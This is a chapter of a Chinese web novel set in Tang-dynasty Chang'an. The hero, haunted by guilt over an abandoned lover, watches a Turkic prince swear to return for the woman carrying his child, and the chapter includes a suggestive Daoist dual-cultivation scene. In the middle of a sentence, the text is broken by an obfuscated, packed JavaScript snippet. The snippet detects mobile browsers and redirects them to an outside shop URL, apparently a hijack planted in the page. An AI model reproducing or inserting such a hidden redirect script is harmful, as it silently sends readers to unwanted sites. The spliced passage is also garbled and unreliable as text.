幻境中太平的脸,与另一张更年轻、更倔强、却也更无助的脸庞,在电光石火间重叠、交错——那是杨排风。那个在他还是耶律皓南,背负着北汉刘氏末裔的复国执念与辽国国师身份时,曾与他有过短暂情缘的杨门烧火丫头。彼时,他心中唯有炼就天门阵、倾覆大宋的滔天野心,何曾在意过一夜露水之后,那出身卑微、身处敌对阵营的少女将如何自处?他甚至不知道,杨排风当时已然有孕。她是在天波府众人或明或暗的非议、在北宋森严礼法与家族压力的夹缝中,独自承受、默默生下了那个孩子,且从未告知他。直到天门阵破,他重伤遁走,时隔六年,才辗转得知那个孩子的存在,才第一次见到自己血脉相连的儿子…… 后怕,如同冰水混合着岩浆,瞬间攫住了他的心脏,带来一阵窒息般的绞痛。如果窦娘子这份决绝与底气,映照出的,是当年杨排风在更严酷百倍的环境下,孤立无援、默默承受的绝望与艰辛……那他耶律皓南当年,是何等的残忍与盲目!这份迟来了数年、甚至可能迟来了一生的内疚与恐慌,此刻在幻境之中,借着窦娘子的事件,如毒藤般疯狂滋长,缠绕住他的灵魂。 一股强烈到近乎窒息的情绪猛然攫住了他——是庆幸窦娘子有家族可依?是迟来的、对杨排风锥心刺骨的内疚与悔恨?还是对眼前这个与记忆中那人有着相似眼神、却拥有截然不同底气的女子命运的复杂感喟?亦或是对这变幻莫测的“薛绍”人生、对这诡异“幻境”的更深恐惧,恐惧这一切美好与温暖,终将如镜花水月,而自己将再次重蹈覆辙,伤害珍视之人? 他忽然伸手,近乎凶狠地将身旁的太平揽入怀中,力道之大,让太平发出一声短促的惊呼,手中的水晶碗“哐当”滚落在地,紫玉葡萄洒了一地。他灼热的唇带着一种近乎绝望的力度,凶狠地碾过她纤细的颈侧,留下清晰的、近乎疼痛的印记,仿佛要通过这真实的痛感与触感,来确认怀中人的存在,来驱散脑海中那令他恐慌欲绝的重叠幻影,来弥补那深不见底、几乎要将他吞噬的虚空与悔恨。他的手臂箍得她生疼,指尖无意识地、用力地描摹着她脊骨的轮廓,仿佛那是他在惊涛骇浪、无尽悔愧中唯一能抓住的、真实存在的浮木。 半晌,他才松开些许,喉间溢出一声低哑的、辨不清是自嘲、是后怕、还是无尽苦涩的闷笑:“殿下这颗九曲玲珑心,究竟缠了多少道锁?” 他问的是太平,问的是这迷局,更似在问那个曾经做出错误选择、如今深陷另一重身份迷障、被往事与内疚日夜啃噬的自己。 太平被他方才突如其来的、带着戾气的亲密举动激得气息微乱,颈侧传来微微刺疼。但她并未挣扎,反而就着窗外明明灭灭的电光,仰起脸,精准地咬上他的喉结,含糊又清晰地回应,气息拂过他敏感的皮肤:“锁么?不多不少,刚好够阿绍拆上一辈子。你若肯拆,本宫便陪你玩一辈子的解锁戏,看看最后,到底是你先解开所有的锁,还是本宫……先锁住你的魂。” 余音未尽,已被他再次覆下的唇吞没。在唇齿交缠的厮磨与窗外愈演愈烈的暴雨雷鸣声中,刘皓南借着浓黑夜色的掩护,紧紧闭上眼,近乎贪婪地、带着一种近乎凶残的确认感,感受着怀中这具温热、真实、鲜活的身体,感受着她的气息、她的心跳、她细微的颤抖。他无比用力地抱紧她,仿佛如此便能将幻境与现实中那两具因“抉择”、“舍弃”与“独自承担”而不断重叠、令他心悸欲碎的身影彻底驱散,将怀中这失而复得的温暖,牢牢地、死死地钉在自己掌心这方寸之间,这由无尽悔愧、后怕、庆幸与失而复得的惶恐交织而成的、脆弱而真实的疆域里。这一次,他绝不再放手,绝不再让历史以任何形式重演。 72. 男儿无泪却有恨 阿史那延陀离开长安的第十日,午时。 日光尚烈,带着初秋特有的、白晃晃的锋芒,穿过崇仁坊邻近东市一带略显喧嚣的街巷,在道旁一家不起眼茶肆油腻的竹帘上,投下晃眼的光斑。竹帘后,一道裹着灰扑扑、边缘磨损得起了毛边的粗麻毡袍的高大身影,如同被风沙侵蚀过的石雕般,悄然伫立在阴影与光斑的交界处。他卸去了所有象征突厥特使身份的狼头肩徽、华丽绶带与宝石饰物,发髻只用一根最普通的牛皮绳草草束着,几缕散落的发丝黏在汗湿的额角与颈侧,眉梢、鬓角乃至浓密的眼睫上,都沾着陇西道特有的、粗砺干燥的黄色沙尘。袍角下摆甚至有几处不甚明显的、已经发黑板结的暗红色污渍,像是干涸的血迹混着尘土。他显然是一路未曾停歇的亡命疾驰,甚至可能经历过激烈的搏杀,才赶在骨咄禄可汗派出拦截的、由最精锐的附离(突厥可汗侍卫)组成的骑兵队彻底锁死道路前,伤痕累累地折返回这座他本应永远离开的城市。 唯有那双深陷在眼窝里的眼睛,依旧锐利如草原鹰隼,此刻却死死锁在斜对面那座巍峨的太平公主府邸一扇平日少有人走的侧门,眸底翻涌着惊涛骇浪。有不惜与兄长彻底决裂、拼死挣脱也要折返的急切,有对同母兄长暴怒与部落压力的沉重负担,更有一种近乎绝望的、想在彻底消失前(或许下一刻,兄长的追兵或处决令就会到来,又或许,他将不得不与血脉相连的兄长兵戎相见,直至一方倒下)再看那人一眼的执念——他本以为,这只是永别前最后贪婪的一瞥。 侧门“吱呀”一声,被轻轻推开。 窦娘子在两名贴身侍女的搀扶下,缓步迈出高高的石阶。她今日的装扮与平日大相径庭,未着便于骑射的胡服或利落的窄袖襦裙,只穿了一身料子极为柔软、剪裁特意放宽了许多的杏子黄齐胸襦裙,外罩一件同色半臂,颜色素净得近乎低调。然而,最令帘后那石雕般身影瞳孔骤然缩成针尖、连呼吸都为之停滞的,并非衣着,而是她行走的姿态与那微妙的身形变化。 素日里,窦娘子身姿挺拔如修竹,步履轻快飒爽,带着将门虎女的利落。可此刻,她下阶时格外缓慢、谨慎,一手轻轻搭在侍女坚实的小臂上,借着力道,另一只手似乎无意识地、虚虚拢在自己依旧平坦、但细看已隐有圆润弧线的小腹之前。那原本被骑装革带束得纤细柔韧、充满力量的腰肢,在宽松襦裙的遮掩下,依旧能看出一种不同寻常的、微微的、充满保护意味的隆起与弧度。那不是丰腴,而是一种初初显怀、带着崭新生命分量的、小心翼翼的姿态。 当她行至阶下平整处,手中把玩的一柄精巧的缂丝团扇似乎未拿稳,悄然滑落。她几乎是本能地、自然而然地想要俯身去拾,却在弯腰的刹那,身体几不可察地、极其明显地一顿,仿佛腹部传来某种不容忽视的牵拉或提醒。随即,那只原本只是虚拢在腹前的手,迅速、明确、以一种绝对保护者的姿态,稳稳地、甚至带着点紧张地护住了自己的小腹,五指微微收拢,仿佛在护卫世间最珍贵的易碎品。然后,她才调整重心,以一个极其缓慢、明显避免挤压腹部的、略显笨拙的侧身姿势,艰难地、慢慢地够到了地上的扇子。 这个细微的、充满了母性本能、身体记忆与无法伪装的变化动作,如同最精准也最残酷的狼牙箭,带着呼啸的风声,狠狠洞穿了竹帘后那双几乎要燃烧起来的眼睛! “嗬……”一声压抑到极致的、仿佛从肺腑最深处挤出的抽气声。“咔嚓!” 紧接着是极其轻微却令人牙酸的、指节过度用力攥紧粗麻布边缘而发出的脆响。阿史那延陀那因长途跋涉和不久前才经历过的、与兄长派来“请”他回去的精锐附离的激烈搏杀而皲裂出血口的大手,死死攥着油腻的竹帘边,指节凸起,泛出骇人的青白色。他额角、颈侧乃至手背上的青筋都在瞬间绷起,如同扭曲的蚯蚓,胸膛剧烈起伏,却仿佛被一只无形的手扼住了咽喉,发不出任何完整的声音。 震惊。排山倒海的震惊。怎么可能?那一夜……昆明池畔,芦苇深深,月光下的抵死缠绵……难道……? 狂喜。如同草原最沉寂的荒原上骤然燃起的燎原大火,瞬间席卷了他所有的思维。他的血脉!他与她的……骨肉!在这座他可能再也无法踏入的城池里,在她的腹中,悄然孕育! 后怕与自责。这狂喜只持续了一瞬,便被更深的恐惧与自我谴责淹没。他走了!他竟然在浑然不觉的情况下,被兄长强行带离!如果他没有拼死击倒数名附离,带着满身伤痕和一颗近乎绝望的心偷偷折返……他是不是就要永远错过这个事实?让她一个人……独自面对这一切?就像草原上那些失去了雄鹰庇护的孤雁?不! “她怎么敢……” 一个近乎荒谬的念头闪过脑海。一个世家贵女,未婚先孕,对象还是他这样一个前途未卜、甚至可能被族人与唐廷都视为“麻烦”的突厥特勤……她怎么敢留下?她怎么敢如此平静地走出来,仿佛只是寻常散步?但下一秒,另一个更清晰、更理所当然的念头,伴随着她护住小腹时那坚定而温柔的动作,狠狠击中了他——“她当然敢!她是窦娘子!” 是那个能与他并辔驰骋、纵论兵法、骨子里流淌着平阳昭公主般刚烈与主见的血脉的嫡女!她不是需要攀附乔木的丝萝,她本身就是一棵能经风雨的树。 目光死死钉在窦娘子被侍女小心翼翼搀扶着、一步步缓慢却平稳地走回府门的背影上,那背影在他眼中,充满了从未有过的、属于孕育生命的柔和光晕,却也像一记重锤,砸得他灵魂剧颤。那里面翻腾的震惊、狂喜、后怕、自责,最后统统化为一种沉甸甸的、几乎要将他脊背压弯的、名为“责任”与“必须去做”的决绝力道。他回来,本是想做最后的、悲壮的诀别,然后去面对兄长的怒火,甚至可能是兄弟相残的结局。但现在,一切都不一样了。 他必须做些什么。立刻,马上!为了她,也为了那个尚未降生、却已牵动他全部神魂的小生命。 ______ 距宵禁鼓响尚有半个时辰,天色将暮未暮,天际最后一抹橘红挣扎着不愿褪去。 刘皓南书房的门,被一阵近乎粗暴的、毫无章法可言的急促叩响所震动,那力度不像是求见,更像是濒死之人的最后挣扎。不待里面传来“进”字,厚重的楠木门已被一股蛮力猛地从外推开,撞在墙壁上,发出沉闷的巨响! 阿史那延陀高大的身影裹挟着一身浓重的、尘土、汗液与新鲜血污混合的粗粝气息,踉跄着扑入书房。他额角一道新鲜的、皮肉翻卷的鞭伤,或是刀背重击的痕迹,赫然在目,边缘还沾着沙砾与干涸的血痂,显然是不久前才留下的。身上那件粗麻毡袍有多处裂口,左肩处一道裂口尤深,隐约可见其下包扎后又渗血的麻布,右臂袖口更是被利器划开长长一道,随着他单膝重重跪地的动作,裂口处渗出的暗红色新血,在书房沉静而明亮的烛火与窗外暮光映照下,显得格外刺目惊心。他颈间那枚从不离身的、象征勇武与部落传承的古老狼牙坠,随着他倾身向前的动作,“铛”地一声,重重磕在坚硬的紫檀木书案边缘,发出沉闷的、令人心头发紧的响声。 他抬起头,目光如两块燃烧殆尽的炭火,直直射向端坐案后、面色沉静的刘皓南。那双眼睛里布满了长途奔袭的疲惫、挣脱羁绊的伤痕,但更深处,是一种斩钉截铁的、以生命与全部尊严为祭的决绝火焰。他的声音因干渴、失血、疲惫与极致的情绪冲击而嘶哑破碎,却带着一种不容置疑的、仿佛来自灵魂深处的力量: “我,突厥阿史那氏,延陀!” 他开口,每个字都像是从灼伤的喉咙里挤出,却清晰地震动着空气,“以我族世代供奉的天狼神之名,以我母亲,尊贵的草原可敦,赐予的血脉起誓!” 他一手死死按着自己剧烈起伏的、沾满尘污血迹的心口,另一手仍撑着案面,稳住摇摇欲坠的身体,颈间的狼牙坠随着他粗重的呼吸剧烈晃动: “我兄长……可汗的附离,几乎将我绑回了草原。但我挣脱了!我看到了……我都看到了!” 他眼中血丝密布,情绪激动,但话话却异常清晰“……我以我阿史那氏先祖的荣耀、以蓝突厥的上天(腾格里)与庇佑我部的狼神之名立下血誓!” 他一手死死按着自己剧烈起伏的、沾满尘污血迹的心口,另一手仍撑着案面,稳住摇摇欲坠的身体,颈间的狼牙坠随着他粗重的呼吸剧烈晃动: “我兄长……可汗的附离,几乎将我绑回了草原。但我挣脱了!我看到了……我都看到了!” 他眼中血丝密布,情绪激动,但逻辑却异常清晰,“我在草原有自己的部众,有自己的牛羊和草场! 我已快马加鞭返回部落,用我特勤的权柄,安顿了最紧急的雪灾,稳住了我的族人!我向永恒的苍天与不灭的狼魂起誓,待我的族人、我的牛羊,安然渡过今年最酷寒的白灾,我必立刻迎着东风折返长安!亲自来接她,接我的女人,和我阿史那延陀的骨血!无论要面对什么——无论是兄长的金刀指向我的胸膛,还是部落长老的指责如风雪刮骨,或是长安城高墙后的暗箭!无论要付出血的代价,还是火的考验!”他字字如铁,砸在书房光洁的金砖地上,带着回响: “若违此誓,叫我魂灵永世漂泊,困于瀚海最孤寂的荒烟,受尽风沙蚀骨、烈日焚心之苦,不得归乡,不得往生,子嗣断绝,血脉不存!” 说完,他像是耗尽了所有力气,又像是誓言已出,再无转圜,只是维持着单膝跪地的姿态,胸膛因激动和伤痛而剧烈起伏,那枚象征他突厥副使身份、此刻却染满尘污与暗红血渍的金狼符牌,在他腰间随着呼吸微微晃动,折射出黯淡而执着的光。 刘皓南静静地凝视着他,目光从对方额头上那道狰狞的伤口、衣袍上多处裂口与渗出的新鲜血迹、因用力而骨节发白紧攥的拳头,移到他腰间那枚染血的金狼符,最后,落在他那双燃烧着不容错辨的、近乎悲壮的真诚、痛苦、与破釜沉舟般担当的眼睛里。 恍惚间,眼前的草原汉子,与记忆深处某个同样倔强、却更加孤立无援的身影——现实中,那个在得知有孕后,只能被悄然送回天波府,独自面对杨家上下或明或暗的审视、非议与流言蜚语,承受着北宋礼法与家族压力的年轻女将(杨排风)——诡异地重叠、对比。 同样是意外,同样是孕育。一个(窦娘子)出身高门,有家族可依,有底气决断,甚至能从容安排;而另一个(杨排风)……她只是天波府一个出身卑微的烧火丫头,即便后来崭露头角,在那等级森严的将门,一个未婚先孕、且怀的是“北汉余孽”、“辽国国师”骨血的女子,将面临何等压力?她甚至可能被软禁在府中偏僻院落,承受着比窦娘子多千百倍的眼刀与唾沫,独自吞咽苦果。而他耶律皓南,当年在做什么?在潜心炼他的天门阵,在谋划他的复国大业,何曾回头看过她一眼?问过她一句?直到六年后,他才知晓那个孩子的存在…… 一股尖锐的、迟来了多年的隐痛与愧疚,如同冰冷的锥子,狠狠扎进刘皓南的心脏。如果当年……如果在那之后,他能像阿史那延陀此刻一样,哪怕只是回头去看一眼,去问一句,去承担一点……或许,他与杨排风,与那个他甚至迟了六年才得以相见的孩子,结局都会不同。可惜,没有如果。他当年眼里只有天门阵,只有复仇,只有那遥不可及的复国幻梦,他将那份情缘与可能的重担,轻易地抛弃在了身后。 书房内一时只剩下阿史那延陀粗重如风箱般的喘息,与墙角铜漏单调而永恒的滴水声,声声敲在人心上。 许久,刘皓南缓缓开口,声音不高,低沉,却带着一种奇异的、尘埃落定般的沉稳,仿佛只是在陈述一件再平常不过的事情: “公主府西苑,靠近后园围墙处,有一处僻静的别院。原是前朝某位郡公静养之所,地下引有骊山支脉的温泉水,经年不竭,地气最是暖融祥和,于安胎养身……颇有裨益。一应物事,都是齐备的。” 他没有说“准”或“不准”,没有提任何条件,没有问“你如何保证”,甚至没有对窦娘子本人的意愿做任何预设,尽管他或许已从太平处知晓。只是平静地陈述了一个事实,一个去处,一个可能的、温暖的庇护所。所有的应允、接纳、乃至那份不便明言的关照与成全,都已在这平静的话语之中。 阿史那延陀猛地抬起头,眼中那燃烧的炭火仿佛被注入了清泉,爆发出难以置信的、混合了狂喜、感激与如释重负的璀璨光芒,那光芒几乎要灼伤看着他的人。他嘴唇剧烈地颤抖着,似乎有千言万语堵在胸口,最终却只是再次重重地、以额触地,在冰冷的地砖上发出沉闷的“咚”的一声,行了一个草原上最庄重、最虔诚的谢礼。一切言语,在此刻,在这份无声却厚重的接纳与安排面前,都显得苍白。 他额头的伤口因这用力的触碰再次渗出血丝,混着灰尘,沾在了光洁的地砖上。但他浑不在意,仿佛这微不足道的疼痛,与他此刻心中那块巨石落地、终于找到方向的充实与决绝相比,根本不值一提。他踉跄起身,深深看了刘皓南一眼,那眼神里有承诺,有感激,更有一种破釜沉舟后的坚定,然后转身,拖着伤痕累累却异常挺拔的身躯,再次没入即将降临的暮色之中。他必须赶在追兵或兄长的最终裁决到来前,为自己的女人和孩子,杀出一条血路,或者,准备好面对兄弟之间最不愿见到的结局。但无论如何,他已有了必须回去、也必须再回来的理由。 是夜,寝殿。 鎏金博山炉中最后一缕沉香悠悠散尽,只余清浅月光透过鲛绡帐,在室内流淌。刘皓南为太平卸下那支繁复的九鸾衔珠金钗时,动作比往日更加缓慢,甚至带了几分珍而重之的凝滞。指尖流连过她颈侧温热的肌肤,感受着其下平缓流淌的血液,与鲜活蓬勃的生命力。这温暖、真实的触感,与白日阿史那延陀那染血的誓言、决绝的眼神,以及更深层记忆里那个孤独无依的剪影,在他心中反复冲撞,激荡起难以言喻的波澜。 他没有像往常一样引她就寝,而是直接握住她的手,引着她相对盘坐在宽大的锦榻中央。两人足心紧密相贴,膝头自然交叠,形成一个稳固而亲密的支撑结构,正是《洞玄子》图谱中所载,最利于气息交融循环的“鱼翔浅底”之态。两人的脊柱随着呼吸,如同水中游鱼摆尾般,自然而然地微微弯曲、律动,额间轻轻相抵,呼吸无可避免地交织在一起,温热而亲密。 太平正觉这姿势新奇,带着几分道家的玄妙,忽觉一股温润醇和、如三月春溪般的暖流,自刘皓南紧贴她掌心的“劳宫穴”源源渡来。那暖流并不急切,而是沿着她腰间“带脉”的走向,缓缓地、耐心地环行三匝,所过之处,带来熨帖的暖意与微妙的酥麻,恰似春日消融的雪水,漫过干燥的堤岸,浸润着每一寸土地,滋养着女子最根本的阴脉气血。 她不禁从鼻间逸出一声舒适的轻哼,眼睫微颤,带着笑意低语:“阿绍今日这‘鱼翔浅底’……怎的像是专门为了滋养阴脉、固本培元而设的?手法这般……细致周到。” 她博览杂书,对道家导引、房中养生之术并非一无所知,隐约察觉到这手法似乎过于“滋补”,且隐隐有针对女子胞宫调理之意。 刘皓南没有回答,只是深深看进她带着疑惑与慵懒笑意的眼底。那目光幽深,似有万千情绪翻涌,却又被他强行压下。下一刻,他手臂骤然发力,腰身一拧,就着两人相连的姿势,流畅而稳固地将她整个人翻转过来! 变势为“江潮叠浪”! 他自身向后仰卧,成为她最坚实的依托之“榻”,令她伏趴于自己胸膛之上。两人四肢如波浪层叠、云卷云舒般自然交缠,形成一个极其亲密、却将重量巧妙分散的支撑结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185100|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 构。然而,与姿态的亲密不同,他渡入的内力,却在这一刻陡然变得专注而深邃,甚至带着一种不容置疑的引导与灌注之力。 那内力不再温和环行带脉,而是如月华牵引潮汐,凝成一线,专注而磅礴地,朝着她体内“任脉”的几处关乎女子胞宫气血、孕育根本的关键要穴(如关元、气海、中极等),温柔而坚定地冲刷、灌注而去!这已非寻常双修增益,更像是以自身为薪柴,点燃纯阳元气,去点燃、滋补另一方先天可能不足或受损的阴元根基。 “唔……!” 太平猝不及防,只觉丹田气海深处,一股前所未有的、充沛温暖的洪流轰然涌起,迅速蔓延向四肢百骸,通体舒泰,原先因白日些许劳累而隐隐酸软的腰肢,在这暖流的冲刷滋养下,竟似久旱逢甘霖的枯木,每一个关节、每一束肌肉,都贪婪地舒展开来,充满了蓬勃的生机与活力。 而与之相对的,刘皓南的额间,却以肉眼可见的速度,渗出了一层细密的汗珠。他面色依旧平静,但周身那股原本温润平和的阳气,此刻却如同百川归海,悄然地、持续不断地,通过两人紧密相连的躯体要穴,倾注、渡化入太平的体内。他自身的元气,正在以一种损耗自身本源的方式,滋养着她。 这正是道家双修秘法中,极为上乘却也极耗施术者元气的“以阳济阴”、“导龙归海”之法!非情深意重、修为精深、且心甘情愿者,绝难施行,更遑论如此精妙控制。这已近乎是一种单方面的、损己利人的补益。 太平在气息翻涌、通体舒泰之余,敏锐地察觉到了他气息的细微变化与额间的汗意,也隐约明白了这手法背后所耗的心力。她心中一颤,暖流带来的舒适瞬间被一阵揪紧的担忧取代。她挣扎着想要脱离这过于“慷慨”的滋养,声音带着惊愕与一丝不易察觉的焦急:“这气息走向……阿绍!你停下!这分明是导引自身纯阳本源渡化阴脉的顶级路数!你内力本未完全恢复,何必如此损伤自身根基?我不需你如此……” 她的话未能说完。 刘皓南已抬起头,以唇封缄了她所有的疑问、惊惶与挣扎。那是一个不带着太多情欲,反而充满了某种难以言喻的、深沉如海的情绪的吻。温柔,却不容拒绝,手臂稳稳地禁锢着她,将她重新按回那“江潮叠浪”的姿势,继续着那元气渡化的进程。他的吻仿佛带着魔力,带着某种跨越了时空的、沉甸甸的亏欠、迟来的领悟、与此刻心中翻腾的复杂情愫,尽数通过这个吻传递给她,安抚她,也像在通过这具幻境中杨排风年轻时的身躯,固执地、近乎偏执地,弥补着某个遥远时空中,他未能给予、甚至未曾想过的呵护与担当。 太平在他突如其来的、近乎献祭般的温柔与深沉,以及那不容抗拒的元气灌注中,渐渐迷失,挣扎的力道在他坚定的怀抱与持续的滋养下,化为顺从的呜咽。原先因震惊而紧绷的身体,在他专注深入的元气滋养与这个充满复杂情感的吻的安抚下,一点点软化,最终如同在春日暖阳下彻底化开的饴糖,酥软无力地沉溺在这片由他构筑的、安全而滋养的海洋里,意识随着那暖流渐渐模糊。 翌日,拂晓。 天色将明未明,一层稀薄的,带着寒意的灰白色笼罩着长安城。公主府西苑那扇平日紧闭的角门,悄无声息地开了一条缝。 阿史那延陀已换了一身干净的深色胡服,虽然难掩眉宇间的疲惫与连日奔波的风霜,但眼神却亮得惊人,如同淬炼过的精铁,充满了年轻气盛 ,手握实权者特有的我近乎灼人的热忱与笃定。他站在门外,看着被侍女轻轻搀扶着、裹着厚实披风缓缓走出的窦娘子。 晨光勾勒出她依旧纤细却已隐显轮廓的身形,与那张清丽中多了几分柔婉与苍白,却依旧平静的脸。 阿史那延陀上前一步,在窦娘子面前站定。他没有说话,只是深深地看着她,仿佛要将她的模样刻进骨血里。然后他缓缓地、极其郑重地,执起她一只微凉的手,将她纤细的指尖,轻轻按在了自己心口——那剧烈跳动、炽热如火的地方。 隔着衣料,窦娘子能清晰地感受到他心脏有力而急促的搏动,与那份毫无保留的、几乎要烫伤她指尖的灼热。 “等我。” 阿史那延陀的声音很低,却带着磐石般的重量,每一个字都像是从胸腔深处挤出,带着草原男儿特有的、混合着血气与浪漫的承诺,烙进她的耳中,也烙进这清冷的晨风里,“等我回来。你要长安的锦绣罗帐,我便拆了可汗金帐的金线,为你织就天边永不消散的云霞;你要草原的穹庐星空,我便抽了狼头大纛上最亮的丝线,为你缀满夜幕每一颗星辰。我的部众和草场,会是我给你的聘礼;我的弓箭和战马,会为你和孩子扫平一切风雪。” 他眼中燃烧着炽热的光芒,那是二十五六岁、手握实权、尚未真正经历过命运残酷磋磨的年轻雄鹰,在情热与责任驱使下,自然而然许下的、看似坚不可摧的诺言。他相信自己的力量,相信自己的决心,足以撼动一切阻碍。 窦娘子指尖在他灼热的胸膛上微微一颤,没有抽回,也没有回答。只是静静地站在那里,任由他握着自己的手,感受着掌心下那蓬勃的生命力与滚烫的誓言。晨风拂过,吹动她颊边散落的发丝,也吹动他衣袍的下摆。两人就这样静静对立,身影被越来越亮的晨光,在冰凉的石板地上,拉出两道长长的、仿佛依偎在一起的影子。这影子此刻看似紧密,却无人知晓,草原的风雪、长安的权谋、部族的纷争、以及那横亘在两人之间的巨大差异,将在未来将它们拉扯成何等模样。 不远处的书房轩窗后,刘皓南静静而立,隔窗望着这一幕。他面色比平日略显苍白,那是昨夜元气损耗的痕迹,但眼神却异常清明,甚至带着一丝冷峻的洞悉。 恍惚间,那两道在晨光中交织、许下炽热誓言的身影,再次与记忆中某个定格的、冰冷的画面重叠——现实时空,宋境,天波府。某个偏僻冷寂的厢房,血气与汗味弥漫。杨排风独自一人,在只有凌霄子(刘皓南的师叔,一个不通医术、更遑论接生的男人)隔着急匆匆挂起的布帘,用内力勉强吊着她一口气的、极其简陋和凶险的情况下,挣扎着产下了那个孩子。她刚经历完生产,浑身虚脱,连抬手的力气都没有,只能眼睁睁看着帘外,凌霄子用襁褓匆匆裹起那啼哭的婴儿,甚至未让她看清一眼,便决绝地转身离去,消失在门外深沉的夜色里。一个向左,怀抱婴儿隐入黑暗;一个向右,躺在冰冷的产褥上,连呼唤的力气都已失去。渐行渐远,再无交集,甚至连一句告别都未曾有。 刘皓南缓缓闭上眼睛,将那深入骨髓的冰冷画面与眼前这充满希望与承诺的晨光隔绝。片刻后,他转身走回内室,脚步带着一丝不易察觉的沉重。 榻上,太平犹在酣睡,容颜恬静,呼吸绵长,经过昨夜那番元气滋养,她面色红润,睡梦中嘴角似乎还噙着一丝满足。刘皓南走到书架旁,取下了那卷《西域春荡图》。指尖缓缓摩挲着画中那架悬于千仞悬崖、随风轻荡的秋千绳索,目光落在画中年轻恣意、不识愁滋味的“薛绍”与“太平”身上。 许久,他对着榻上沉睡的人,几不可闻地低叹一声,声音里充满了穿越了真实与虚幻的疲惫、惘然,与一种深刻的、近乎刺痛的了悟: “若当年……那个山洞雨夜之后……我能有这突厥汉子半分担当,肯为你折返……哪怕只是回头看一眼……或许……” 余音散入穿透窗棂的、带着寒意的晓风之中,未曾惊扰榻上人的清梦。 唯见窗外太液池的残荷,在愈发凛冽的晨风中,几不可察地、剧烈地颤抖了一下,最终,一片枯败的荷叶不堪重负,悄然折断,无声地坠入冰冷的池水。九月初开的金桂,细碎的花瓣被寒风卷起,打着旋儿,无力地拂过冰凉的窗棂,又悄然飘落在地,很快被晨露打湿,失去了最后一点鲜亮的颜色。